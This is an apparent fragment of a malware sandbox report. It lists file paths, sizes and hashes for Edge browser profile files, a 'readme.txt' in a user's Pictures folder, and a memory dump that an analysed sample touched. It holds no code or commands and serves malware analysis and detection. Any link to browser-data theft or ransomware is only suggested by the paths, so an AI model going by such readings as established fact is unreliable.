d5a67a394003f559c98e1a1e9e31c2d473d04cc075b08bb0aab115ce42744da536895df2cec73fa54fc36f38d38e4906680cfacfbf4698ee925f1609fbb07912

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1feb1ecaf45965b3136c6680f5ae47e7

SHA1
778aa8832eb707ebabdd072b024c4359259b967d

SHA256
02661b68804fb6f008c9749ad60e5e94c77dc4b63a0a906166f7368b967a463e

SHA512
f52b98e3fe3702cf0d1fd74f6b09bf3173aafb0ac59888a6bc83efb96e8e95f3c595e83f44fb784a3b71ade8854e4d6f9cba5ffa8e6ef31375b73e3242c72ba7

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
b1ae9964a76a7db75b52bfa1b62c18e7

SHA1
7914f3cb2d4cd9d014087d2dda5d3e4d5497b4ce

SHA256
5fda2a6c182deba6bf7fd71148d7a3baa96a0a99a7efa4d466e914ecbfa8ec09

SHA512
509201376e46158f8d3a4a08d75cb247528bb0d844a6a0f0d50ef1341e5287cbdf9f83996ba3e3efa7ce8c9443d0e0c5bd76acc86136183bc1ed914f15c9930e

Download Submit
memory/4492-23-0x000001A664DD0000-0x000001A665715000-memory.dmp

Filesize
9.3MB

Download